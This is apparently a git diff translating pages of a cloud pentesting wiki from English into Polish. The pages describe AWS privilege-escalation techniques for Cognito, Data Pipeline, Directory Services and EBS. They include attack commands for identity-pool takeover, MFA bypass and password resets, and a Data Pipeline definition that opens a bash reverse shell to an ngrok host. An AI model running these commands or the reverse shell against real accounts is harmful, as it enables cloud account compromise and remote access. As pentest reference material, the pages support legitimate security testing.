@@ aws cognito-identity get-id --identity-pool-id "eu-west-2:38b294756-2578-8246-90 ## Get creds for that id aws cognito-identity get-credentials-for-identity --identity-id "eu-west-2:195f9c73-4789-4bb4-4376-99819b6928374" ``` +Jeśli aplikacja cognito **nie ma włączonych użytkowników nieautoryzowanych**, może być konieczne również posiadanie uprawnienia `cognito-identity:UpdateIdentityPool`, aby je włączyć. -If the cognito app **doesn't have unauthenticated users enabled** you might need also the permission `cognito-identity:UpdateIdentityPool` to enable it. - -**Potential Impact:** Direct privesc to any cognito role. +**Potencjalny wpływ:** Bezpośrednie privesc do dowolnej roli cognito. ### `cognito-identity:update-identity-pool` -An attacker with this permission could set for example a Cognito User Pool under his control or any other identity provider where he can login as a **way to access this Cognito Identity Pool**. Then, just **login** on that user provider will **allow him to access the configured authenticated role in the Identity Pool**. - +Napastnik z tym uprawnieniem mógłby ustawić na przykład Cognito User Pool pod swoją kontrolą lub innego dostawcę tożsamości, gdzie może się zalogować jako **sposób na uzyskanie dostępu do tego Cognito Identity Pool**. Następnie, po prostu **zalogowanie** się na tym dostawcy użytkowników **pozwoli mu uzyskać dostęp do skonfigurowanej roli autoryzowanej w Identity Pool**. ```bash # This example is using a Cognito User Pool as identity provider ## but you could use any other identity provider aws cognito-identity update-identity-pool \ - --identity-pool-id \ - --identity-pool-name \ - [--allow-unauthenticated-identities | --no-allow-unauthenticated-identities] \ - --cognito-identity-providers ProviderName=user-pool-id,ClientId=client-id,ServerSideTokenCheck=false +--identity-pool-id \ +--identity-pool-name \ +[--allow-unauthenticated-identities | --no-allow-unauthenticated-identities] \ +--cognito-identity-providers ProviderName=user-pool-id,ClientId=client-id,ServerSideTokenCheck=false # Now you need to login to the User Pool you have configured ## after having the id token of the login continue with the following commands: # In this step you should have already an ID Token aws cognito-identity get-id \ - --identity-pool-id \ - --logins cognito-idp..amazonaws.com/= +--identity-pool-id \ +--logins cognito-idp..amazonaws.com/= # Get the identity_id from thr previous commnad response aws cognito-identity get-credentials-for-identity \ - --identity-id \ - --logins cognito-idp..amazonaws.com/= +--identity-id \ +--logins cognito-idp..amazonaws.com/= ``` - -It's also possible to **abuse this permission to allow basic auth**: - +Możliwe jest również **nadużycie tego uprawnienia, aby zezwolić na podstawową autoryzację**: ```bash aws cognito-identity update-identity-pool \ - --identity-pool-id \ - --identity-pool-name \ - --allow-unauthenticated-identities - --allow-classic-flow +--identity-pool-id \ +--identity-pool-name \ +--allow-unauthenticated-identities +--allow-classic-flow ``` - -**Potential Impact**: Compromise the configured authenticated IAM role inside the identity pool. +**Potencjalny wpływ**: Kompromitacja skonfigurowanej uwierzytelnionej roli IAM w obrębie puli tożsamości. ### `cognito-idp:AdminAddUserToGroup` -This permission allows to **add a Cognito user to a Cognito group**, therefore an attacker could abuse this permission to add an user under his control to other groups with **better** privileges or **different IAM roles**: - +To uprawnienie pozwala na **dodanie użytkownika Cognito do grupy Cognito**, w związku z tym atakujący mógłby nadużyć tego uprawnienia, aby dodać użytkownika pod swoją kontrolą do innych grup z **lepszymi** uprawnieniami lub **innymi rolami IAM**: ```bash aws cognito-idp admin-add-user-to-group \ - --user-pool-id \ - --username \ - --group-name +--user-pool-id \ +--username \ +--group-name ``` - -**Potential Impact:** Privesc to other Cognito groups and IAM roles attached to User Pool Groups. +**Potencjalny wpływ:** Privesc do innych grup Cognito i ról IAM przypisanych do grup User Pool. ### (`cognito-idp:CreateGroup` | `cognito-idp:UpdateGroup`), `iam:PassRole` -An attacker with these permissions could **create/update groups** with **every IAM role that can be used by a compromised Cognito Identity Provider** and make a compromised user part of the group, accessing all those roles: - +Napastnik z tymi uprawnieniami mógłby **tworzyć/aktualizować grupy** z **każdą rolą IAM, która może być używana przez skompromitowanego dostawcę tożsamości Cognito** i uczynić skompromitowanego użytkownika częścią grupy, uzyskując dostęp do wszystkich tych ról: ```bash aws cognito-idp create-group --group-name Hacked --user-pool-id --role-arn ``` - -**Potential Impact:** Privesc to other Cognito IAM roles. +**Potencjalny wpływ:** Privesc do innych ról IAM Cognito. ### `cognito-idp:AdminConfirmSignUp` -This permission allows to **verify a signup**. By default anyone can sign in Cognito applications, if that is left, a user could create an account with any data and verify it with this permission. - +To uprawnienie pozwala na **potwierdzenie rejestracji**. Domyślnie każdy może zalogować się do aplikacji Cognito, jeśli to zostanie pozostawione, użytkownik mógłby utworzyć konto z dowolnymi danymi i potwierdzić je za pomocą tego uprawnienia. ```bash aws cognito-idp admin-confirm-sign-up \ - --user-pool-id \ - --username +--user-pool-id \ +--username ``` - -**Potential Impact:** Indirect privesc to the identity pool IAM role for authenticated users if you can register a new user. Indirect privesc to other app functionalities being able to confirm any account. +**Potencjalny wpływ:** Pośrednie privesc do roli IAM puli tożsamości dla uwierzytelnionych użytkowników, jeśli możesz zarejestrować nowego użytkownika. Pośrednie privesc do innych funkcji aplikacji, mogąc potwierdzić jakiekolwiek konto. ### `cognito-idp:AdminCreateUser` -This permission would allow an attacker to create a new user inside the user pool. The new user is created as enabled, but will need to change its password. - +To uprawnienie pozwoliłoby atakującemu na utworzenie nowego użytkownika w obrębie puli użytkowników. Nowy użytkownik jest tworzony jako aktywny, ale będzie musiał zmienić swoje hasło. ```bash aws cognito-idp admin-create-user \ - --user-pool-id \ - --username \ - [--user-attributes ] ([Name=email,Value=email@gmail.com]) - [--validation-data ] - [--temporary-password ] +--user-pool-id \ +--username \ +[--user-attributes ] ([Name=email,Value=email@gmail.com]) +[--validation-data ] +[--temporary-password ] ``` - -**Potential Impact:** Direct privesc to the identity pool IAM role for authenticated users. Indirect privesc to other app functionalities being able to create any user +**Potencjalny wpływ:** Bezpośredni privesc do roli IAM puli tożsamości dla uwierzytelnionych użytkowników. Pośredni privesc do innych funkcji aplikacji, mogąc stworzyć dowolnego użytkownika. ### `cognito-idp:AdminEnableUser` -This permissions can help in. a very edge-case scenario where an attacker found the credentials of a disabled user and he needs to **enable it again**. - +Te uprawnienia mogą pomóc w bardzo skrajnym przypadku, w którym atakujący znalazł dane uwierzytelniające wyłączonego użytkownika i musi **ponownie je włączyć**. ```bash aws cognito-idp admin-enable-user \ - --user-pool-id \ - --username +--user-pool-id \ +--username ``` - -**Potential Impact:** Indirect privesc to the identity pool IAM role for authenticated users and permissions of the user if the attacker had credentials for a disabled user. +**Potencjalny wpływ:** Pośrednie podniesienie uprawnień do roli IAM puli tożsamości dla uwierzytelnionych użytkowników i uprawnień użytkownika, jeśli atakujący miałby poświadczenia dla wyłączonego użytkownika. ### `cognito-idp:AdminInitiateAuth`, **`cognito-idp:AdminRespondToAuthChallenge`** -This permission allows to login with the [**method ADMIN_USER_PASSWORD_AUTH**](../aws-services/aws-cognito-enum/cognito-user-pools.md#admin_no_srp_auth-and-admin_user_password_auth)**.** For more information follow the link. +To uprawnienie pozwala na logowanie się za pomocą [**metody ADMIN_USER_PASSWORD_AUTH**](../aws-services/aws-cognito-enum/cognito-user-pools.md#admin_no_srp_auth-and-admin_user_password_auth)**.** Aby uzyskać więcej informacji, kliknij w link. ### `cognito-idp:AdminSetUserPassword` -This permission would allow an attacker to **change the password of any user**, making him able to impersonate any user (that doesn't have MFA enabled). - +To uprawnienie pozwoliłoby atakującemu na **zmianę hasła dowolnego użytkownika**, co umożliwiłoby mu podszywanie się pod dowolnego użytkownika (który nie ma włączonego MFA). ```bash aws cognito-idp admin-set-user-password \ - --user-pool-id \ - --username \ - --password \ - --permanent +--user-pool-id \ +--username \ +--password \ +--permanent ``` - -**Potential Impact:** Direct privesc to potentially any user, so access to all the groups each user is member of and access to the Identity Pool authenticated IAM role. +**Potencjalny wpływ:** Bezpośrednie privesc do potencjalnie dowolnego użytkownika, co daje dostęp do wszystkich grup, do których należy każdy użytkownik, oraz dostęp do roli IAM uwierzytelnionej w Identity Pool. ### `cognito-idp:AdminSetUserSettings` | `cognito-idp:SetUserMFAPreference` | `cognito-idp:SetUserPoolMfaConfig` | `cognito-idp:UpdateUserPool` -**AdminSetUserSettings**: An attacker could potentially abuse this permission to set a mobile phone under his control as **SMS MFA of a user**. - +**AdminSetUserSettings**: Napastnik mógłby potencjalnie nadużyć tego uprawnienia, aby ustawić telefon komórkowy pod swoją kontrolą jako **SMS MFA użytkownika**. ```bash aws cognito-idp admin-set-user-settings \ - --user-pool-id \ - --username \ - --mfa-options +--user-pool-id \ +--username \ +--mfa-options ``` - -**SetUserMFAPreference:** Similar to the previous one this permission can be used to set MFA preferences of a user to bypass the MFA protection. - +**SetUserMFAPreference:** Podobnie jak w poprzednim przypadku, to uprawnienie może być używane do ustawiania preferencji MFA użytkownika w celu ominięcia ochrony MFA. ```bash aws cognito-idp admin-set-user-mfa-preference \ - [--sms-mfa-settings ] \ - [--software-token-mfa-settings ] \ - --username \ - --user-pool-id +[--sms-mfa-settings ] \ +[--software-token-mfa-settings ] \ +--username \ +--user-pool-id ``` - -**SetUserPoolMfaConfig**: Similar to the previous one this permission can be used to set MFA preferences of a user pool to bypass the MFA protection. - +**SetUserPoolMfaConfig**: Podobnie jak w poprzednim przypadku, to uprawnienie może być używane do ustawiania preferencji MFA puli użytkowników w celu ominięcia ochrony MFA. ```bash aws cognito-idp set-user-pool-mfa-config \ - --user-pool-id \ - [--sms-mfa-configuration ] \ - [--software-token-mfa-configuration ] \ - [--mfa-configuration ] +--user-pool-id \ +[--sms-mfa-configuration ] \ +[--software-token-mfa-configuration ] \ +[--mfa-configuration ] ``` +**UpdateUserPool:** Możliwe jest również zaktualizowanie puli użytkowników, aby zmienić politykę MFA. [Sprawdź cli tutaj](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/update-user-pool.html). -**UpdateUserPool:** It's also possible to update the user pool to change the MFA policy. [Check cli here](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/update-user-pool.html). - -**Potential Impact:** Indirect privesc to potentially any user the attacker knows the credentials of, this could allow to bypass the MFA protection. +**Potential Impact:** Pośredni privesc do potencjalnie dowolnego użytkownika, którego atakujący zna dane uwierzytelniające, co może pozwolić na ominięcie ochrony MFA. ### `cognito-idp:AdminUpdateUserAttributes` -An attacker with this permission could change the email or phone number or any other attribute of a user under his control to try to obtain more privileges in an underlaying application.\ -This allows to change an email or phone number and set it as verified. - +Atakujący z tym uprawnieniem mógłby zmienić adres e-mail lub numer telefonu lub jakikolwiek inny atrybut użytkownika pod jego kontrolą, aby spróbować uzyskać więcej uprawnień w podstawowej aplikacji.\ +To pozwala na zmianę adresu e-mail lub numeru telefonu i ustawienie go jako zweryfikowanego. ```bash aws cognito-idp admin-update-user-attributes \ - --user-pool-id \ - --username \ - --user-attributes +--user-pool-id \ +--username \ +--user-attributes ``` - -**Potential Impact:** Potential indirect privesc in the underlying application using Cognito User Pool that gives privileges based on user attributes. +**Potencjalny wpływ:** Potencjalne pośrednie privesc w podstawowej aplikacji korzystającej z Cognito User Pool, która przyznaje uprawnienia na podstawie atrybutów użytkownika. ### `cognito-idp:CreateUserPoolClient` | `cognito-idp:UpdateUserPoolClient` -An attacker with this permission could **create a new User Pool Client less restricted** than already existing pool clients. For example, the new client could allow any kind of method to authenticate, don't have any secret, have token revocation disabled, allow tokens to be valid for a longer period... +Napastnik z tym uprawnieniem mógłby **utworzyć nowego klienta User Pool mniej restrykcyjnego** niż już istniejące klienty puli. Na przykład, nowy klient mógłby pozwalać na wszelkiego rodzaju metody uwierzytelniania, nie mieć żadnego sekretu, mieć wyłączoną revokację tokenów, pozwalać na dłuższy okres ważności tokenów... -The same can be be don if instead of creating a new client, an **existing one is modified**. - -In the [**command line**](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/create-user-pool-client.html) (or the [**update one**](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/update-user-pool-client.html)) you can see all the options, check it!. +To samo można zrobić, jeśli zamiast tworzenia nowego klienta, **zmodyfikowany zostanie istniejący**. +W [**wierszu poleceń**](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/create-user-pool-client.html) (lub [**aktualizacji**](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/update-user-pool-client.html)) możesz zobaczyć wszystkie opcje, sprawdź to! ```bash aws cognito-idp create-user-pool-client \ - --user-pool-id \ - --client-name \ - [...] +--user-pool-id \ +--client-name \ +[...] ``` - -**Potential Impact:** Potential indirect privesc to the Identity Pool authorized user used by the User Pool by creating a new client that relax the security measures and makes possible to an attacker to login with a user he was able to create. +**Potencjalny wpływ:** Potencjalne pośrednie privesc do autoryzowanego użytkownika Identity Pool używanego przez User Pool poprzez utworzenie nowego klienta, który łagodzi środki bezpieczeństwa i umożliwia atakującemu zalogowanie się jako użytkownik, którego był w stanie utworzyć. ### `cognito-idp:CreateUserImportJob` | `cognito-idp:StartUserImportJob` -An attacker could abuse this permission to create users y uploading a csv with new users. - +Atakujący mógłby nadużyć tego uprawnienia, aby tworzyć użytkowników, przesyłając plik csv z nowymi użytkownikami. ```bash # Create a new import job aws cognito-idp create-user-import-job \ - --job-name \ - --user-pool-id \ - --cloud-watch-logs-role-arn +--job-name \ +--user-pool-id \ +--cloud-watch-logs-role-arn # Use a new import job aws cognito-idp start-user-import-job \ - --user-pool-id \ - --job-id +--user-pool-id \ +--job-id # Both options before will give you a URL where you can send the CVS file with the users to create curl -v -T "PATH_TO_CSV_FILE" \ - -H "x-amz-server-side-encryption:aws:kms" "PRE_SIGNED_URL" +-H "x-amz-server-side-encryption:aws:kms" "PRE_SIGNED_URL" ``` +(W przypadku, gdy tworzysz nowe zadanie importu, możesz również potrzebować uprawnienia iam passrole, jeszcze tego nie testowałem). -(In the case where you create a new import job you might also need the iam passrole permission, I haven't tested it yet). - -**Potential Impact:** Direct privesc to the identity pool IAM role for authenticated users. Indirect privesc to other app functionalities being able to create any user. +**Potencjalny wpływ:** Bezpośrednie privesc do roli IAM puli tożsamości dla uwierzytelnionych użytkowników. Pośrednie privesc do innych funkcji aplikacji, mogąc tworzyć dowolnego użytkownika. ### `cognito-idp:CreateIdentityProvider` | `cognito-idp:UpdateIdentityProvider` -An attacker could create a new identity provider to then be able to **login through this provider**. - +Napastnik mógłby stworzyć nowego dostawcę tożsamości, aby móc **zalogować się przez tego dostawcę**. ```bash aws cognito-idp create-identity-provider \ - --user-pool-id \ - --provider-name \ - --provider-type \ - --provider-details \ - [--attribute-mapping ] \ - [--idp-identifiers ] +--user-pool-id \ +--provider-name \ +--provider-type \ +--provider-details \ +[--attribute-mapping ] \ +[--idp-identifiers ] ``` +**Potencjalny wpływ:** Bezpośredni privesc do roli IAM puli tożsamości dla uwierzytelnionych użytkowników. Pośredni privesc do innych funkcji aplikacji, mogąc tworzyć dowolnego użytkownika. -**Potential Impact:** Direct privesc to the identity pool IAM role for authenticated users. Indirect privesc to other app functionalities being able to create any user. +### cognito-sync:\* Analiza -### cognito-sync:\* Analysis +To bardzo powszechne uprawnienie domyślnie w rolach Cognito Identity Pools. Nawet jeśli użycie znaku wieloznacznego w uprawnieniach zawsze wygląda źle (szczególnie w przypadku AWS), **przyznane uprawnienia nie są super przydatne z perspektywy atakującego**. -This is a very common permission by default in roles of Cognito Identity Pools. Even if a wildcard in a permissions always looks bad (specially coming from AWS), the **given permissions aren't super useful from an attackers perspective**. +To uprawnienie pozwala na odczyt informacji o użytkownikach z Identity Pools i Identity IDs wewnątrz Identity Pools (co nie jest wrażliwą informacją).\ +Identity IDs mogą mieć przypisane [**Zbiory danych**](https://docs.aws.amazon.com/cognitosync/latest/APIReference/API_Dataset.html), które są informacjami o sesjach (AWS definiuje to jako **zapisana gra**). Może się zdarzyć, że zawierają one jakiś rodzaj wrażliwych informacji (ale prawdopodobieństwo jest dość niskie). Możesz znaleźć na [**stronie enumeracji**](../aws-services/aws-cognito-enum/) jak uzyskać dostęp do tych informacji. -This permission allows to read use information of Identity Pools and Identity IDs inside Identity Pools (which isn't sensitive info).\ -Identity IDs might have [**Datasets**](https://docs.aws.amazon.com/cognitosync/latest/APIReference/API_Dataset.html) assigned to them, which are information of the sessions (AWS define it like a **saved game**). It might be possible that this contain some kind of sensitive information (but the probability is pretty low). You can find in the [**enumeration page**](../aws-services/aws-cognito-enum/) how to access this information. +Atakujący mógłby również wykorzystać te uprawnienia do **zapisania się do strumienia Cognito, który publikuje zmiany** w tych zbiorach danych lub **lambdy, która wyzwala się na zdarzenia cognito**. Nie widziałem, aby to było używane, i nie spodziewałbym się wrażliwych informacji tutaj, ale nie jest to niemożliwe. -An attacker could also use these permissions to **enroll himself to a Cognito stream that publish changes** on these datases or a **lambda that triggers on cognito events**. I haven't seen this being used, and I wouldn't expect sensitive information here, but it isn't impossible. +### Narzędzia automatyczne -### Automatic Tools +- [Pacu](https://github.com/RhinoSecurityLabs/pacu), framework do eksploatacji AWS, teraz zawiera moduły "cognito\_\_enum" i "cognito\_\_attack", które automatyzują enumerację wszystkich zasobów Cognito w koncie i oznaczają słabe konfiguracje, atrybuty użytkowników używane do kontroli dostępu itp., a także automatyzują tworzenie użytkowników (w tym wsparcie MFA) i eskalację uprawnień na podstawie modyfikowalnych atrybutów niestandardowych, używalnych poświadczeń puli tożsamości, ról, które można przyjąć w tokenach id itp. -- [Pacu](https://github.com/RhinoSecurityLabs/pacu), the AWS exploitation framework, now includes the "cognito\_\_enum" and "cognito\_\_attack" modules that automate enumeration of all Cognito assets in an account and flag weak configurations, user attributes used for access control, etc., and also automate user creation (including MFA support) and privilege escalation based on modifiable custom attributes, usable identity pool credentials, assumable roles in id tokens, etc. +Aby uzyskać opis funkcji modułów, zobacz część 2 [postu na blogu](https://rhinosecuritylabs.com/aws/attacking-aws-cognito-with-pacu-p2). Aby uzyskać instrukcje instalacji, zobacz główną stronę [Pacu](https://github.com/RhinoSecurityLabs/pacu). -For a description of the modules' functions see part 2 of the [blog post](https://rhinosecuritylabs.com/aws/attacking-aws-cognito-with-pacu-p2). For installation instructions see the main [Pacu](https://github.com/RhinoSecurityLabs/pacu) page. - -#### Usage - -Sample cognito\_\_attack usage to attempt user creation and all privesc vectors against a given identity pool and user pool client: +#### Użycie +Przykład użycia cognito\_\_attack do próby tworzenia użytkownika i wszystkich wektorów privesc przeciwko danej puli tożsamości i kliencie puli użytkowników: ```bash Pacu (new:test) > run cognito__attack --username randomuser --email XX+sdfs2@gmail.com --identity_pools us-east-2:a06XXXXX-c9XX-4aXX-9a33-9ceXXXXXXXXX --user_pool_clients 59f6tuhfXXXXXXXXXXXXXXXXXX@us-east-2_0aXXXXXXX ``` - -Sample cognito\_\_enum usage to gather all user pools, user pool clients, identity pools, users, etc. visible in the current AWS account: - +Przykład użycia cognito\_\_enum do zbierania wszystkich pul użytkowników, klientów pul użytkowników, pul tożsamości, użytkowników itp. widocznych w bieżącym koncie AWS: ```bash Pacu (new:test) > run cognito__enum ``` +- [Cognito Scanner](https://github.com/padok-team/cognito-scanner) to narzędzie CLI w Pythonie, które implementuje różne ataki na Cognito, w tym eskalację uprawnień. -- [Cognito Scanner](https://github.com/padok-team/cognito-scanner) is a CLI tool in python that implements different attacks on Cognito including a privesc escalation. - -#### Installation - +#### Instalacja ```bash $ pip install cognito-scanner ``` - -#### Usage - +#### Użycie ```bash $ cognito-scanner --help ``` - -For more information check [https://github.com/padok-team/cognito-scanner](https://github.com/padok-team/cognito-scanner) +Aby uzyskać więcej informacji, sprawdź [https://github.com/padok-team/cognito-scanner](https://github.com/padok-team/cognito-scanner) {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-datapipeline-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-datapipeline-privesc.md index 82c82682e..a1284b494 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-datapipeline-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-datapipeline-privesc.md @@ -4,7 +4,7 @@ ## datapipeline -For more info about datapipeline check: +Aby uzyskać więcej informacji o datapipeline, sprawdź: {{#ref}} ../aws-services/aws-datapipeline-codepipeline-codebuild-and-codecommit.md @@ -12,67 +12,57 @@ For more info about datapipeline check: ### `iam:PassRole`, `datapipeline:CreatePipeline`, `datapipeline:PutPipelineDefinition`, `datapipeline:ActivatePipeline` -Users with these **permissions can escalate privileges by creating a Data Pipeline** to execute arbitrary commands using the **permissions of the assigned role:** - +Użytkownicy z tymi **uprawnieniami mogą eskalować uprawnienia, tworząc Data Pipeline** do wykonywania dowolnych poleceń przy użyciu **uprawnień przypisanej roli:** ```bash aws datapipeline create-pipeline --name my_pipeline --unique-id unique_string ``` - -After pipeline creation, the attacker updates its definition to dictate specific actions or resource creations: - +Po utworzeniu potoku, atakujący aktualizuje jego definicję, aby określić konkretne działania lub tworzenie zasobów: ```json { - "objects": [ - { - "id": "CreateDirectory", - "type": "ShellCommandActivity", - "command": "bash -c 'bash -i >& /dev/tcp/8.tcp.ngrok.io/13605 0>&1'", - "runsOn": { "ref": "instance" } - }, - { - "id": "Default", - "scheduleType": "ondemand", - "failureAndRerunMode": "CASCADE", - "name": "Default", - "role": "assumable_datapipeline", - "resourceRole": "assumable_datapipeline" - }, - { - "id": "instance", - "name": "instance", - "type": "Ec2Resource", - "actionOnTaskFailure": "terminate", - "actionOnResourceFailure": "retryAll", - "maximumRetries": "1", - "instanceType": "t2.micro", - "securityGroups": ["default"], - "role": "assumable_datapipeline", - "resourceRole": "assumable_ec2_profile_instance" - } - ] +"objects": [ +{ +"id": "CreateDirectory", +"type": "ShellCommandActivity", +"command": "bash -c 'bash -i >& /dev/tcp/8.tcp.ngrok.io/13605 0>&1'", +"runsOn": { "ref": "instance" } +}, +{ +"id": "Default", +"scheduleType": "ondemand", +"failureAndRerunMode": "CASCADE", +"name": "Default", +"role": "assumable_datapipeline", +"resourceRole": "assumable_datapipeline" +}, +{ +"id": "instance", +"name": "instance", +"type": "Ec2Resource", +"actionOnTaskFailure": "terminate", +"actionOnResourceFailure": "retryAll", +"maximumRetries": "1", +"instanceType": "t2.micro", +"securityGroups": ["default"], +"role": "assumable_datapipeline", +"resourceRole": "assumable_ec2_profile_instance" +} +] } ``` - > [!NOTE] -> Note that the **role** in **line 14, 15 and 27** needs to be a role **assumable by datapipeline.amazonaws.com** and the role in **line 28** needs to be a **role assumable by ec2.amazonaws.com with a EC2 profile instance**. +> Zauważ, że **rola** w **linii 14, 15 i 27** musi być rolą **możliwą do przyjęcia przez datapipeline.amazonaws.com**, a rola w **linii 28** musi być **rolą możliwą do przyjęcia przez ec2.amazonaws.com z profilem instancji EC2**. > -> Moreover, the EC2 instance will only have access to the role assumable by the EC2 instance (so you can only steal that one). - +> Ponadto, instancja EC2 będzie miała dostęp tylko do roli możliwej do przyjęcia przez instancję EC2 (więc możesz ukraść tylko tę). ```bash aws datapipeline put-pipeline-definition --pipeline-id \ - --pipeline-definition file:///pipeline/definition.json +--pipeline-definition file:///pipeline/definition.json ``` +Plik **definicji potoku, stworzony przez atakującego, zawiera dyrektywy do wykonywania poleceń** lub tworzenia zasobów za pomocą API AWS, wykorzystując uprawnienia roli Data Pipeline, aby potencjalnie uzyskać dodatkowe uprawnienia. -The **pipeline definition file, crafted by the attacker, includes directives to execute commands** or create resources via the AWS API, leveraging the Data Pipeline's role permissions to potentially gain additional privileges. - -**Potential Impact:** Direct privesc to the ec2 service role specified. +**Potencjalny wpływ:** Bezpośrednie privesc do roli usługi ec2 określonej. ## References - [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/) {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-directory-services-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-directory-services-privesc.md index ce24095ed..6d7b087b1 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-directory-services-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-directory-services-privesc.md @@ -1,10 +1,10 @@ -# AWS - Directory Services Privesc +# AWS - Privesc Usług Katalogowych {{#include ../../../banners/hacktricks-training.md}} -## Directory Services +## Usługi Katalogowe -For more info about directory services check: +Aby uzyskać więcej informacji na temat usług katalogowych, sprawdź: {{#ref}} ../aws-services/aws-directory-services-workdocs-enum.md @@ -12,27 +12,21 @@ For more info about directory services check: ### `ds:ResetUserPassword` -This permission allows to **change** the **password** of any **existent** user in the Active Directory.\ -By default, the only existent user is **Admin**. - +To uprawnienie pozwala na **zmianę** **hasła** dowolnego **istniejącego** użytkownika w Active Directory.\ +Domyślnie jedynym istniejącym użytkownikiem jest **Admin**. ``` aws ds reset-user-password --directory-id --user-name Admin --new-password Newpassword123. ``` - ### AWS Management Console -It's possible to enable an **application access URL** that users from AD can access to login: +Możliwe jest włączenie **adresu URL dostępu do aplikacji**, do którego użytkownicy z AD mogą uzyskać dostęp, aby się zalogować:
-And then **grant them an AWS IAM role** for when they login, this way an AD user/group will have access over AWS management console: +A następnie **przyznać im rolę AWS IAM** na czas logowania, w ten sposób użytkownik/grupa AD będą miały dostęp do konsoli zarządzania AWS:
-There isn't apparently any way to enable the application access URL, the AWS Management Console and grant permission +Nie ma najwyraźniej żadnego sposobu na włączenie adresu URL dostępu do aplikacji, konsoli zarządzania AWS i przyznanie uprawnień {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-dynamodb-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-dynamodb-privesc.md index b4af46712..72994ec01 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-dynamodb-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-dynamodb-privesc.md @@ -4,7 +4,7 @@ ## dynamodb -For more info about dynamodb check: +Aby uzyskać więcej informacji na temat dynamodb, sprawdź: {{#ref}} ../aws-services/aws-dynamodb-enum.md @@ -12,16 +12,12 @@ For more info about dynamodb check: ### Post Exploitation -As far as I know there is **no direct way to escalate privileges in AWS just by having some AWS `dynamodb` permissions**. You can **read sensitive** information from the tables (which could contain AWS credentials) and **write information on the tables** (which could trigger other vulnerabilities, like lambda code injections...) but all these options are already considered in the **DynamoDB Post Exploitation page**: +Z tego, co wiem, **nie ma bezpośredniego sposobu na eskalację uprawnień w AWS tylko poprzez posiadanie pewnych uprawnień do `dynamodb`**. Możesz **czytać wrażliwe** informacje z tabel (które mogą zawierać dane uwierzytelniające AWS) i **zapisywać informacje w tabelach** (co może wywołać inne podatności, takie jak wstrzykiwanie kodu lambda...), ale wszystkie te opcje są już uwzględnione na stronie **DynamoDB Post Exploitation**: {{#ref}} ../aws-post-exploitation/aws-dynamodb-post-exploitation.md {{#endref}} -### TODO: Read data abusing data Streams +### TODO: Czytaj dane, nadużywając strumieni danych {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ebs-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ebs-privesc.md index 36ea3bc53..549aaed91 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ebs-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ebs-privesc.md @@ -6,26 +6,22 @@ ### `ebs:ListSnapshotBlocks`, `ebs:GetSnapshotBlock`, `ec2:DescribeSnapshots` -An attacker with those will be able to potentially **download and analyze volumes snapshots locally** and search for sensitive information in them (like secrets or source code). Find how to do this in: +Atakujący posiadający te uprawnienia będzie mógł potencjalnie **pobierać i analizować migawki woluminów lokalnie** oraz szukać w nich wrażliwych informacji (takich jak sekrety czy kod źródłowy). Dowiedz się, jak to zrobić w: {{#ref}} ../aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ebs-snapshot-dump.md {{#endref}} -Other permissions might be also useful such as: `ec2:DescribeInstances`, `ec2:DescribeVolumes`, `ec2:DeleteSnapshot`, `ec2:CreateSnapshot`, `ec2:CreateTags` +Inne uprawnienia mogą być również przydatne, takie jak: `ec2:DescribeInstances`, `ec2:DescribeVolumes`, `ec2:DeleteSnapshot`, `ec2:CreateSnapshot`, `ec2:CreateTags` -The tool [https://github.com/Static-Flow/CloudCopy](https://github.com/Static-Flow/CloudCopy) performs this attack to e**xtract passwords from a domain controller**. +Narzędzie [https://github.com/Static-Flow/CloudCopy](https://github.com/Static-Flow/CloudCopy) przeprowadza ten atak, aby **wyciągnąć hasła z kontrolera domeny**. -**Potential Impact:** Indirect privesc by locating sensitive information in the snapshot (you could even get Active Directory passwords). +**Potencjalny wpływ:** Pośrednie podniesienie uprawnień poprzez zlokalizowanie wrażliwych informacji w migawce (możesz nawet uzyskać hasła Active Directory). ### **`ec2:CreateSnapshot`** -Any AWS user possessing the **`EC2:CreateSnapshot`** permission can steal the hashes of all domain users by creating a **snapshot of the Domain Controller** mounting it to an instance they control and **exporting the NTDS.dit and SYSTEM** registry hive file for use with Impacket's secretsdump project. +Każdy użytkownik AWS posiadający uprawnienie **`EC2:CreateSnapshot`** może ukraść hasze wszystkich użytkowników domeny, tworząc **migawkę kontrolera domeny**, montując ją do instancji, którą kontroluje, i **eksportując plik NTDS.dit oraz rejestr SYSTEM** do użycia z projektem secretsdump Impacket. -You can use this tool to automate the attack: [https://github.com/Static-Flow/CloudCopy](https://github.com/Static-Flow/CloudCopy) or you could use one of the previous techniques after creating a snapshot. +Możesz użyć tego narzędzia do zautomatyzowania ataku: [https://github.com/Static-Flow/CloudCopy](https://github.com/Static-Flow/CloudCopy) lub możesz użyć jednej z wcześniejszych technik po utworzeniu migawki. {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git 